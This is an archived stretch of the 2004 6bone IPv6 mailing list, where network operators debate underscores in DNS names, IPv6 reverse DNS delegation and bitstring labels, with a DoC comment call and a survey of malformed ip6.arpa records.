From lb-6bone@projectdream.org Sat Feb 14 03:03:42 2004
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* Gert Doering <gert@space.net>:
> On Fri, Feb 13, 2004 at 12:37:04PM -0700, Colin Faber wrote:
> > Additionally unless I'm mistaken that standard still does not allow 
> > underscores '_' (something that MS ADS uses in host names)
> The fact that MS doesn't adhere to the standard doesn't mean the *standard*
> needs changing ("that standard still does not allow...").

Citing http://www.rfc-editor.org/rfc/rfc2782.txt:

|Introductory example
|
| If a SRV-cognizant LDAP client wants to discover a LDAP server that
| supports TCP protocol and provides LDAP service for the domain
| example.com., it does a lookup of
|
| _ldap._tcp.example.com
[ .. ]
|Service
| The symbolic name of the desired service, as defined in Assigned
| Numbers [STD 2] or locally.  An underscore (_) is prepended to
| the service identifier to avoid collisions with DNS labels that
| occur in nature.


Doesn't look like breaking a standard to me.

-- 
Today is the first day of the rest of our lives.
http://www.suug.ch

From jeroen@unfix.org Sat Feb 14 04:15:36 2004
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Anand Kumria'" <wildfire@progsoc.uts.edu.au>
Subject: RE: Dynamic DNS update on Windows for IPv6 was: reverse DNS
	considered pointless was: [6bone] Fwd: BCP 80,
	RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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-----BEGIN PGP SIGNED MESSAGE-----

'Anand Kumria' [mailto:wildfire@progsoc.uts.edu.au] wrote:

> On Mon, Feb 09, 2004 at 03:18:10AM +0100, Jeroen Massar wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > 
> > Anand Kumria wrote:
> >
> > FYI: http://ops.ietf.org/dns/dynupd/secure-ddns-howto.html
> > Using a little scripting I have also made a Windows version,
> > sporting IPv6 support thus everything is possible. 
> 
> If it isn't a problem, I'd actually be interested in seeing 
> the script.
> It is something I've been meaning to look at but haven't 
> found the time for us.

Just convert the unix stuff into NT stuff by adding some magick ;)
See http://unfix.org/~jeroen/archive/Windows_DynamicDNS_Update.zip

One will only need to covert the keys as mentioned above and
change the config of course* ;)

> > There should be a document, which probably needs to be created as
> > I haven't seen one yet, defining how to make this all work, nice job
> > for the IETF v6ops group. A nice scenario on what to delegate to end
> > users and how endusers can easily populate it.
> 
> Well most time when I speak to ISPs the people there only make use of
> reverse DNS for:
> 	a. network diagnostic
> 	b. address description
> 
> The most common complaint I hear is that they'd love a way to 
> identify a particular IP (or set thereof) as being 'webcaches' and not 
> DoS machines, etc.

webcache01.isp.example.net
webcache02.isp.example.net
webcache03.isp.example.net
webcache04.isp.example.net
webcache05.isp.example.net

People can lookup real contact information in whois.

> > Another solution would be to have synthesis in DNS. There is a
> > special ICMPv6 which can be used to query a host for it's hostname.
> > 
> > See draft-ietf-ipngwg-icmp-name-lookups-10.txt, though I don't know
> > the exact status, KAME stacks have it, from ping6 man on BSD:
> > 8<-----------
> >      -w      Generate ICMPv6 Node Information DNS Name query, rather than
> >              echo-request.  -s has no effect if -w is specified.
> > - ----------->8
> > 
> > Thus:
> > jeroen@bfib:~$ ping6 -v -w hog
> > PING6(72=40+8+24 bytes) 2001:7b8:3:1e:290:27ff:fe0c:5c5e --> 2001:7b8:3:17:203:47ff:fe3b:3138
> > 33 bytes from 2001:7b8:3:17:203:47ff:fe3b:3138: hog.ipng.nl. (TTL=0:meaningless)
> > 33 bytes from 2001:7b8:3:17:203:47ff:fe3b:3138: hog.ipng.nl. (TTL=0:meaningless)
> > <SNIP>
> 
> Interesting, I wonder how that interacts with link-local names ...

That is why it is still in draft status ;)
Anyways, it _always_ returns the 'hostname' as configured on
the machine itself, which doesn't need to be the same in the
forward zone, which will probably nicely point to it's global
ipv6 address.

> > The brave new world over here (Europe) works quite well, we simply
> > don't use 6bone that much anymore thus have been happily using
> > RIPE's ip6.int + ip6.arpa delegations. 
> 
> Of course, you are in Europe and have a reasonable RIR. Over here we
> have APNIC. Worse, in .au very few ISPs have been experimenting with
> IPv6. 

RIR's listen to their membership, thus call your vote at the meetings
and the mailinglists if you don't like them and don't forget one very
important thing: arguments. The above is as stupid as saying that
"Bush is dumb". Which Bush and above all why is he dumb?
<starts hiding from CIA/FBI/NSA/....> (which CIA/FBI/NSA :)

Personally, seeing the responses from APNIC staff on messages I
sent I would say that they where doing just a good a job as RIPE.

> Most of them have only begun recently, and the those that 
> aren't listed
> at <URL: http://www.sixxs.net/tools/grh/tla/all/?country=au> have an
> allocation within the Trumpet netblock (a few through me).

Then educate those ISP's... that is what we have been doing in .nl
all the time and that *without* a "IPv6 Task Force" aka European
Commission stuffed money. They are actually talking about making
a TF for Holland, though I wonder why, probably just some bureaucratic
way of getting rid of my tax money. Don't blame APNIC that the ISP's
in their region don't think of the future.

Btw if they need a hand, we don't run SixXS for nothing, it is not
only for Europe I might add...

> > ISP's doing the real thing
> > have already switched to RIR space a long time ago, usually after
> > having quite an extensive and happy testing time on the 6bone.
> 
> Since you can't get 6bone addresses any longer you are obliged to deal
> with your RIR (and few ISPs enjoy dealing with APNIC) or 
> someone with an existing delegation.

Of course you can still 'get', and use, for that matter, 6bone addresses,
though no pTLA's. Also APNIC has special 'experimentation' space if
you require that.

Either way, pay APNIC their rates and fill in the forms, compying to
them and they will be *glad* to give ISP's IPv6 space. ISP's do have
to do a bit of work for it though and actually use it naturally.

Greets,
 Jeroen

(Specially for the people who noted my consequent fault at writing 'of course':
* = see see I added a space in between 'of' and 'course' ;)

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From gert@Space.Net Sat Feb 14 04:49:00 2004
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From: Gert Doering <gert@space.net>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: reverse 6dns painful (was Re:
	reverse	DNSconsideredpointless)
Message-ID: <20040214124858.GT8040@Space.Net>
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Hi,

On Sat, Feb 14, 2004 at 12:02:43PM +0100, Lukas Beeler wrote:
> * Gert Doering <gert@space.net>:
> > On Fri, Feb 13, 2004 at 12:37:04PM -0700, Colin Faber wrote:
> > > Additionally unless I'm mistaken that standard still does not allow 
> > > underscores '_' (something that MS ADS uses in host names)
> > The fact that MS doesn't adhere to the standard doesn't mean the *standard*
> > needs changing ("that standard still does not allow...").
> 
> Citing http://www.rfc-editor.org/rfc/rfc2782.txt:

Good point.  Now the interesting question is - are the authors of RFC2782
aware that they violate DNS host name requirements, or are they even
doing it *on purpose*, so that...

> | The symbolic name of the desired service, as defined in Assigned
> | Numbers [STD 2] or locally.  An underscore (_) is prepended to
> | the service identifier to avoid collisions with DNS labels that
> | occur in nature.

... no clash with "proper" DNS names can occur?

However, this is not really IPv6 related.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  58081  (57882)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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Subject: Re: [6bone] Re: reverse 6dns painful (was
	Re:reverse	DNSconsideredpointless)
Date: Sat, 14 Feb 2004 15:21:53 +0100
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----- Original Message ----- 
From: "Gert Doering" <gert@space.net>
To: <6bone@ISI.EDU>
Sent: Saturday, February 14, 2004 1:48 PM
Subject: Re: [6bone] Re: reverse 6dns painful (was Re:reverse DNSconsideredpointless)


> Hi,
>
> On Sat, Feb 14, 2004 at 12:02:43PM +0100, Lukas Beeler wrote:
> > * Gert Doering <gert@space.net>:
> > > On Fri, Feb 13, 2004 at 12:37:04PM -0700, Colin Faber wrote:
> > > > Additionally unless I'm mistaken that standard still does not allow
> > > > underscores '_' (something that MS ADS uses in host names)
> > > The fact that MS doesn't adhere to the standard doesn't mean the *standard*
> > > needs changing ("that standard still does not allow...").
> >
> > Citing http://www.rfc-editor.org/rfc/rfc2782.txt:
>
> Good point.  Now the interesting question is - are the authors of RFC2782
> aware that they violate DNS host name requirements, or are they even
> doing it *on purpose*, so that...
>
> > | The symbolic name of the desired service, as defined in Assigned
> > | Numbers [STD 2] or locally.  An underscore (_) is prepended to
> > | the service identifier to avoid collisions with DNS labels that
> > | occur in nature.
>
> ... no clash with "proper" DNS names can occur?

There's another RFC, don't remember the number, _suggesting_ that underscore should be a valid character.
There are a lot of unix os' filterering non-standard characters at the resolver level. As Jeroen said: "Nevertheless a protocol is a
standard the second it reaches critical mass." Since there are TLD providers supporting almost raw UTF8 like .NU (I even know of a
registrar supporting UTF16), not talking particulary about underscore here, I would say that it has already or will soon reach
critical mass.

>
> However, this is not really IPv6 related.
Just a tad.

Joergen Hovland


From edlewis@arin.net Sat Feb 14 08:12:29 2004
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Date: Sat, 14 Feb 2004 11:12:19 -0500
To: Gert Doering <gert@space.net>
From: Edward Lewis <edlewis@arin.net>
Subject: Re: [6bone] Re: reverse 6dns painful (was Re: 	reverse
	DNSconsideredpointless)
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At 13:48 +0100 2/14/04, Gert Doering wrote:
>Good point.  Now the interesting question is - are the authors of RFC2782
>aware that they violate DNS host name requirements, or are they even
>doing it *on purpose*, so that...

I have no stance on reverse map for IPv6, but I do think an 
explanation of "what is standard" needs to be cleared up.

The authors are *not* violating "DNS host name requirements."  The 
reigning confusion is over the difference between domain names and 
host names.  DNS does not have host name requirements, per se.  DNS 
has domain name requirements and the DNS documents do make 
recommendations - the recommendations cause the confusion.

In RFC 1034, sect. 3.1, top of page 8, in the middle of the discussion:
     "The rationale for this choice is that we may someday need to add full
     binary domain names for new services; existing services would not be
     changed."
The intent then was to not restrict the contents of domain names.

RFC 1123 is often cited as restricting what is in a label - it is a 
document on host requirements ("Requirements for Internet Hosts -- 
Application and Support").  Adding to the confusion is RFC 1035 which 
has this in it:

# <label> ::= <letter> [ [ <ldh-str> ] <let-dig> ]
# <ldh-str> ::= <let-dig-hyp> | <let-dig-hyp> <ldh-str>
# <let-dig-hyp> ::= <let-dig> | "-"
# <let-dig> ::= <letter> | <digit>
# <letter> ::= any one of the 52 alphabetic characters A through Z in
# upper case and a through z in lower case
# <digit> ::= any one of the ten digits 0 through 9

This seems to support the restricted names, but when you consider the 
context of this - "Preferred Name Syntax" is the section and the text 
just before this says:

# For example, when naming a mail domain, the user should satisfy both the
# rules of this memo and those in RFC-822.  When creating a new host name,
# the old rules for HOSTS.TXT should be followed.  This avoids problems
# when old software is converted to use domain names.
#
# The following syntax will result in fewer problems with many
# applications that use domain names (e.g., mail, TELNET).

The point is that the restrictions to letters, hypens and digit were 
made in the context of names to be used by common applications of 
that era - telnet, smtp.  The restrictions do not apply to other 
names (labels).

E.g., "aluminim.arin.net." is a domain name representing a host, 
"_tcp.aluminum.arin.net." is a domain name representing the tcp 
services on said host.  The first name is also a host name, so it 
needs to adhere to the rules that will let telnet, ssh work, as well 
as smtp for receiving mail.  However, "_tcp.aluminum.arin.net." is 
not a host name, so there's no expectation that those applications 
will ever have to deal with it.

MS is not violating any standard in using SRV records.  They are 
implementing an IETF proposed standard.  (But before arguing over 
whether that's good or bad read RFC 2026.)

>
>>  | The symbolic name of the desired service, as defined in Assigned
>>  | Numbers [STD 2] or locally.  An underscore (_) is prepended to
>>  | the service identifier to avoid collisions with DNS labels that
>>  | occur in nature.
>
>... no clash with "proper" DNS names can occur?
>
>However, this is not really IPv6 related.
>
>Gert Doering
>         -- NetMaster
>--
>Total number of prefixes smaller than registry allocations:  58081  (57882)
>
>SpaceNet AG                 Mail: netmaster@Space.Net
>Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
>80807 Muenchen              Fax : +49-89-32356-299
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone

-- 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis                                            +1-703-227-9854
ARIN Research Engineer

History repeats, therefore my life is a rerun.

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On Sat, 2004-02-14 at 07:48, Gert Doering wrote:
> Good point.  Now the interesting question is - are the authors of RFC2782
> aware that they violate DNS host name requirements, or are they even
> doing it *on purpose*, so that...

A while ago, while researching something else, I came upon the following
tidbits:

RFC 1033 =C2=A7 NAMES:
   The domain system allows a label to contain any 8-bit character.
   Although the domain system has no restrictions, other protocols such
   as SMTP do have name restrictions.  Because of other protocol
   restrictions, only the following characters are recommended for use
   in a host name (besides the dot separator):

           "A-Z", "a-z", "0-9", dash and underscore

RFC 1034 =C2=A7 3.1:
When you receive a domain name or label, you should preserve its case.=20
The rationale for this choice is that we may someday need to add full
binary domain names for new services; existing services would not be
changed.

RFC 1034 =C2=A7 3.5 suggests the [A-Za-z0-9] recommendation again.

Basically, DNS itself has no standardized restrictions on label names
(that I know about), although it's standard practice (and a good one) to
use a restricted character set, because we know there are broken
resolvers in use, and protocols which had previous requirements for
hostnames a l=C3=A1 HOSTS.TXT.

In the present-day situation, I would wager that most applications will
deal gracefully with any 8-bit character in DNS labels, but there are
definitely applications and resolvers still in use that do not.  I have
not seen an application that outright *breaks* if an non-recommended
printable char (like / or _) is used in a hostname in quite some time
(the closest contender being Squid, which has (had?) a configuration
option to make it fail on such hostnames.

--=20
Ben Winslow <rain@bluecherry.net>

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Where could I find the "Best Current IPv6 Practice" to do a co-existence
plan?

Cheers,
Robson Oliveira

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From jordi.palet@consulintel.es Sun Feb 15 12:15:22 2004
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Subject: Re: [6bone] BCP - Best Current Practice to IPv6 Network Deployment
Date: Sun, 15 Feb 2004 21:19:24 +0100
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Hi Robson,

Not so easy and simple ...

This is why v6ops IETF WG has been created ;-)

It depends on the scenario, and even when looking to generic scenarios, =
it could be different.

I suggest to look into the current v6ops I-D for the 4 "basic" scenarios =
defined until now.

Regards,
Jordi
  ----- Original Message -----=20
  From: Robson Oliveira=20
  To: 6bone ; members@ipv6forum.com=20
  Sent: Sunday, February 15, 2004 9:27 PM
  Subject: [6bone] BCP - Best Current Practice to IPv6 Network =
Deployment


  Where could I find the "Best Current IPv6 Practice" to do a =
co-existence plan?

  Cheers,
  Robson Oliveira


-------------------------------------------------------------------------=
-----


  _______________________________________________
  6bone mailing list
  6bone@mailman.isi.edu
  http://mailman.isi.edu/mailman/listinfo/6bone


**********************************
Madrid 2003 Global IPv6 Summit
Presentations and videos on line at:
http://www.ipv6-es.com

This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited.

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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi Robson,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Not so easy and simple ...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>This is why v6ops IETF WG has been =
created=20
;-)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>It depends on the scenario, and even =
when looking=20
to generic scenarios, it could be different.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I suggest to look into the current =
v6ops I-D for=20
the 4 "basic" scenarios defined until now.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Jordi</FONT></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Drobson.oliveira@ipv6dobrasil.com.br=20
  href=3D"mailto:robson.oliveira@ipv6dobrasil.com.br">Robson =
Oliveira</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3D6bone@mailman.isi.edu=20
  href=3D"mailto:6bone@mailman.isi.edu">6bone</A> ; <A =
title=3Dmembers@ipv6forum.com=20
  href=3D"mailto:members@ipv6forum.com">members@ipv6forum.com</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Sunday, February 15, 2004 =
9:27=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [6bone] BCP - Best =
Current=20
  Practice to IPv6 Network Deployment</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DVerdana size=3D2><SPAN =
class=3D684103314-07102003>Where&nbsp;could=20
  I find&nbsp;the "Best Current IPv6 Practice" to do a co-existence=20
  plan?</SPAN></FONT></DIV>
  <DIV><FONT face=3DVerdana size=3D2><SPAN=20
  class=3D684103314-07102003></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DVerdana size=3D2><SPAN=20
  class=3D684103314-07102003>Cheers,</SPAN></FONT></DIV>
  <DIV><FONT face=3DVerdana size=3D2><SPAN =
class=3D684103314-07102003>Robson=20
  Oliveira</SPAN></FONT></DIV>
  <P>
  <HR>

  <P></P>_______________________________________________<BR>6bone =
mailing=20
  list<BR><A =
href=3D"mailto:6bone@mailman.isi.edu">6bone@mailman.isi.edu</A><BR><A=20
  =
href=3D"http://mailman.isi.edu/mailman/listinfo/6bone">http://mailman.isi=
.edu/mailman/listinfo/6bone</A><BR></BLOCKQUOTE></BODY></HTML>


<html>
<br>
**********************************<br>
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<br>
This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited.</html>

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From paul@clubi.ie Mon Feb 16 00:23:51 2004
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On Fri, 13 Feb 2004, Peter Bunclark wrote:

> I agree with Chuck, and we were kind of getting there with the bitstring
> proposed standard (but that is ugly, to say the least). 

Not being aware of the history, what exactly was wrong with the 
bitstring reverse records? It seemed pretty ok to me to use.

> Pete.

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
Execute every act of thy life as though it were thy last.
		-- Marcus Aurelius

From gert@Space.Net Mon Feb 16 00:53:00 2004
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Hi,

On Mon, Feb 16, 2004 at 08:20:47AM +0000, Paul Jakma wrote:
> > I agree with Chuck, and we were kind of getting there with the bitstring
> > proposed standard (but that is ugly, to say the least). 
> 
> Not being aware of the history, what exactly was wrong with the 
> bitstring reverse records? It seemed pretty ok to me to use.

"complicating of the on-wire protocol, updating every single DNS server
out there, just to fix a frontend issue"

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  58081  (57882)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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From: Paul Jakma <paul@clubi.ie>
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On Mon, 16 Feb 2004, Gert Doering wrote:

> "complicating of the on-wire protocol, 

what's the brief run-down on that?

> updating every single DNS server out there, 

Has to be done anyway for AAAA surely?

> just to fix a frontend issue"

Though on the plus-side: 

Allows bit-granular delegation, without requiring (potentially)  
tonnes of additional indirection records.

> Gert Doering
>         -- NetMaster

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
Somewhere, something incredible is waiting to be known.
		-- Carl Sagan

From michael@kjorling.com Mon Feb 16 02:25:45 2004
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 16 2004, paul@clubi.ie wrote:

> > updating every single DNS server out there,
>
> Has to be done anyway for AAAA surely?

Only on the two ends of the DNS server chain, because the intermediate (at
the ISPs, for example) resolvers have no reason to care what RRtype you are
asking for: all they need to do is to pass the query on, and then pass the
response back when they receive it, or respond to the query with delegation
information for the zone. You'd need to update your resolver to even know how
to ask for AAAA records, and the administrator of the remote DNS server would
need to update it to be able to insert them into the zone. Exactly the same
goes for bitstring labels, so no difference there.

On the other hand, when implementing bitstring labels you change the basic
query format, which means that DNS servers and resolvers which do not
understand a bitstring label is going to return the query as malformed,
resulting in a SERVFAIL response to the client's query. That is regardless of
where in the chain this non-bitlabel-compatible name server is: close to the
top of the delegation chain, or near the site that hosts the reverse zone for
the address in question.


> Allows bit-granular delegation, without requiring (potentially)
> tonnes of additional indirection records.

Hmmmm... nibble-based delegation covers for a four-bit slice of the address
spectrum per label. The worst possible scenario where bitlabels could help
would be that you are allocating half of that (say, a /45, which is the
equivalent of eight [2^{48-45}] /48s) to one client, and the remaining /48s
to other clients. Unless I am mistaken, that would necessite setting up 16
delegations for nine clients. Bitlabels would at most cut this to nine -
seven fewer delegations for what is probably a quite unusual case.

Front-end scripts can do the dirty work easily (or BIND's $GENERATE directive
can also help a little), and frankly, how common are such odd-bit delegations
in the real world? To me at least, it seems as though breaking IPv6 reverse
DNS for those who happen to have an ISP who has not yet updated their
recursive DNS servers to support a new query format, or queries any server
which hasn't in the process of resolving the address, is a poor compromise.

Just my 2/100 of a currency unit of your choice.

- -- 
Michael Kjörling - michael@kjorling.com - SM0YBY QTH JO89XI  ^..^
OpenPGP: 3723 9372 c245 d6a8 18a6  36ac 758f 8749 bde9 ada6   \/
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From Marc.Blanchet@viagenie.qc.ca Tue Feb 17 11:30:05 2004
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Yours ID xklhjoou
--
Thank 


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----------477240688342431--


From itojun@itojun.org Tue Feb 17 12:47:00 2004
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From: itojun@itojun.org (Jun-ichiro itojun Hagino)
Cc: 
Subject: [6bone] Fw: Commerce IPv6 RFC News
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	i have checked with Alfred (the original author of the email),
	and he encourages foreign nationals (non-US people/organization) to
	send in comments.  so, pleaes do send in comments and help make DoC
	become IPv6-ready!

itojun

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Date: Tue, 17 Feb 2004 12:32:03 -0500
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I understand that the winter NANOG meeting had a panel session about
IPv6 
futures etc.  I have been told by Doug Montgomery from NIST, who
attended the session, that Tony 
Hain (from Cisco) pointed out that DoC has an RFC out on this topic and
suggested that interested 
parties find the call and reply.

The following announcement provides links to the Commerce IPv6 RFC for
interested parties who may wish to participate.  


The U.S. Department of Commerce has formed an IPv6 Task Force to study
deployment issues.  The Task Force has published an RFC (Request for
Comments) in the January 21, 2004 Federal Register, inviting
interested
parties to comment on a variety of IPv6-related issues.   We have also
posted the RFC on our website, at
http://www.ntia.doc.gov/ntiahome/frnotices/2004/IPv6RFCFinal.htm,
along with a press announcement at
http://www.ntia.doc.gov/ntiahome/press/2004/IPv6_01152004.htm.  Our
comment deadline is March 8, 2004.

We hope that you and your affiliated organizations will comment in our
proceeding and look forward to
your help in building a solid public record for our IPv6 study.

Please contact me if you have questions.



Alfred Lee
Senior Advisor
Office of Policy Analysis and Development
National Telecommunications & Information Administration
U.S.  Department of Commerce
Suite H4725
Washington, D.C. 20230
Phone:  202 482 1880

alee@ntia.doc.gov

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From psb@ast.cam.ac.uk Wed Feb 18 11:28:13 2004
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On Mon, 16 Feb 2004, Paul Jakma wrote:

> On Fri, 13 Feb 2004, Peter Bunclark wrote:
>
> > I agree with Chuck, and we were kind of getting there with the bitstring
> > proposed standard (but that is ugly, to say the least).
>
> Not being aware of the history, what exactly was wrong with the
> bitstring reverse records? It seemed pretty ok to me to use.
>
Not bad,but still different from forward adresses; how much simpler (=
easy, less prone to error, -> cheaper to administer) to use the same
notation for forward and reverse.

Please note, I'm answering the question, not advocating yet another
change.

Pete.

From paul@clubi.ie Wed Feb 18 16:15:25 2004
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On Mon, 16 Feb 2004, Michael Kjorling wrote:

> Just my 2/100 of a currency unit of your choice.

+5 informative, ta muchely.

Now, how do we get the BIND utilities to stop using the bitstring
format for reverse queries?

(and get everyone to agree on ip6.int).

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
Nothing increases your golf score like witnesses.

From mjl@luckie.org.nz Wed Feb 18 17:43:01 2004
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 > Not bad,but still different from forward adresses; how much simpler (=
 > easy, less prone to error, -> cheaper to administer) to use the same
 > notation for forward and reverse.

just a small note on errors that I've seen in the reverses for names as 
part of a DNS walk I did of ip6.arpa about 9 months ago.

I attempted zone transfers from 2539 zones seen in ip6.arpa, and got 410 
transfers.

22 zones out of those 410 had addresses in them that appeared to have 
syntax errors, i.e. addresses were too short to be valid IPv6, or had 
incorrect characters, e.g.:

too long:

0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2

too short:

2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.1.0.0.2

.0.0.0.0.0.0.x.x.x.x.x.x.1.0.0.2

not 4-bit between dots

97.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2

2000.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.x.x.x.x.1.0.0.2

separately to these 22 zones, I found examples of PTR and NS records 
that did not belong in the zone they were retrieved from.

e.g.

zone: x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2.ip6.arpa
1.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2.ip6.int
(is that actually correct, the address is valid but supposed to be in 
ip6.arpa and not ip6.int?)

zone 4.0.0.0.x.x.x.x.1.0.0.2.ip6.arpa
5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.9.0.0.0.y.y.y.y.e.f.f.3.ip6.arpa
(that one is bizarre, x.x.x.x is completely different to y.y.y.y)

Other than that, the state of reverses seemed to be in reasonable shape.

If you have any comments or questions or corrections, feel free to send 
them.

Matthew


From gert@Space.Net Thu Feb 19 01:44:26 2004
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From: Gert Doering <gert@space.net>
To: Paul Jakma <paul@clubi.ie>
Subject: Re: [6bone] Re: reverse 6dns painful
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Hi,

On Thu, Feb 19, 2004 at 12:13:26AM +0000, Paul Jakma wrote:
> On Mon, 16 Feb 2004, Michael Kjorling wrote:
> 
> > Just my 2/100 of a currency unit of your choice.
> 
> +5 informative, ta muchely.
> 
> Now, how do we get the BIND utilities to stop using the bitstring
> format for reverse queries?

Upgrade?

> (and get everyone to agree on ip6.int).

Make that "arpa", please :-)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  58081  (57882)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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Dear Sir
 
My project is perforamnce measure of various transition mechanism from IPv4 to IPv6. I have used latency,throughput and packet loss as measuring elements.
 
Please tell me how to calculate throughput? equation?

Thanking U
 
Mamtha
6bone-request@mailman.isi.edu wrote:
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Today's Topics:

1. Re: Re: reverse 6dns painful (Paul Jakma)
2. Re: Re: reverse 6dns painful (was Re: reverse DNS
consideredpointless) (Matthew Luckie)
3. Re: Re: reverse 6dns painful (Gert Doering)


----------------------------------------------------------------------

Message: 1
Date: Thu, 19 Feb 2004 00:13:26 +0000 (GMT)
From: Paul Jakma 

Subject: Re: [6bone] Re: reverse 6dns painful
To: Michael Kjorling 
Cc: 6bone <6bone@ISI.EDU>
Message-ID: 

Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 16 Feb 2004, Michael Kjorling wrote:

> Just my 2/100 of a currency unit of your choice.

+5 informative, ta muchely.

Now, how do we get the BIND utilities to stop using the bitstring
format for reverse queries?

(and get everyone to agree on ip6.int).

regards,
-- 
Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A
warning: do not ever send email to spam@dishone.st
Fortune:
Nothing increases your golf score like witnesses.


------------------------------

Message: 2
Date: Thu, 19 Feb 2004 14:42:23 +1300
From: Matthew Luckie 
Subject: Re: [6bone] Re: reverse 6dns painful (was Re: reverse DNS
consideredpointless)
To: Peter Bunclark 

Cc: 6bone@ISI.EDU
Message-ID: <4034147F.9020706@luckie.org.nz>
Content-Type: text/plain; charset=us-ascii; format=flowed

> Not bad,but still different from forward adresses; how much simpler (=
> easy, less prone to error, -> cheaper to administer) to use the same
> notation for forward and reverse.

just a small note on errors that I've seen in the reverses for names as 
part of a DNS walk I did of ip6.arpa about 9 months ago.

I attempted zone transfers from 2539 zones seen in ip6.arpa, and got 410 
transfers.

22 zones out of those 410 had addresses in them that appeared to have 
syntax errors, i.e. addresses were too short to be valid IPv6, or had 
incorrect characters, e.g.:

too long:

0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2

too short:

2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.1.0.0.2

.0.0.0.0.0.0.x.x.x.x.x.x.1.0.0.2

not 4-bit between dots

97.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2

2000.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.x.x.x.x.1.0.0.2

separately to these 22 zones, I found examples of PTR and NS records 
that did not belong in the zone they were retrieved from.

e.g.

zone: x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2.ip6.arpa
1.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2.ip6.int
(is that actually correct, the address is valid but supposed to be in 
ip6.arpa and not ip6.int?)

zone 4.0.0.0.x.x.x.x.1.0.0.2.ip6.arpa
5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.9.0.0.0.y.y.y.y.e.f.f.3.ip6.arpa
(that one is bizarre, x.x.x.x is completely different to y.y.y.y)

Other than that, the state of reverses seemed to be in reasonable shape.

If you have any comments or questions or corrections, feel free to send 
them.

Matthew



------------------------------

Message: 3
